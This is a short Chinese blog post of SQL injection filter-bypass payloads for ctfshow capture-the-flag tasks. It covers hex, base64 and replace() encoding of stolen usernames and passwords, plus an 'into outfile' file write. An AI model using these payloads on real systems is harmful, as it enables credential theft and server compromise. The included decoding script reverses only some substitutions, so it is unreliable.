数据库
首页 > 数据库> > SQL注入 进阶绕过技巧

SQL注入 进阶绕过技巧

作者:互联网

hex/哈希值绕过

1' union select hex(id),hex(username),hex(password) from ctfshow_web.ctfshow_user3--+
如果回显点少的话,可以在后面加上limit 3,5#    即表示,从第三列数据开始输出五列

base64加密绕过

1' union select 1,to_base64(username),to_base64(password) from ctfshow_user3 where username='flag'--+

替换关键字绕过

replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ')

有效负载

1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ')
,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ') from ctfshow_user4 where username='flag' limit 1,1-- A

然后写一个py脚本输出flag
import base64
flagstr = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
flag = flagstr.replace('numA','1').replace('numB','2').replace('numC','3')
print(base64.b64decode(flag))

into outfile写shell

1' union select 1,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/ctf.txt'-- A

标签:username,进阶,base64,replace,flag,ctfshow,SQL,绕过,select
来源: https://www.cnblogs.com/IceSeclude/p/16421572.html